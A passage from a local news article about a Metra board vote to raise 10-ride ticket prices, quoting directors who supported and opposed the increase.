Riders could see the price of the 10-ride tickets increase anywhere from $2.75 to $9.25, depending on the tickets' zone, which are determined by distance.
The vote wasn't quite cut-and-dry.
Metra Director Mike McCoy voiced his concerns over the hike, saying riders already suffered last year when fares increased by an average 25 percent.
He recommended the board warn riders much further ahead of a fare increase and that riders should have been given "a year of relief."
Director Jim LaBelle of Zion said he'd rather support an alternative plan for a 3 percent increase in fares for all riders, instead of singling out more frequent riders. He voted no.
Director Jack Schaeffer voiced his support even though "nobody wants a fare increase."
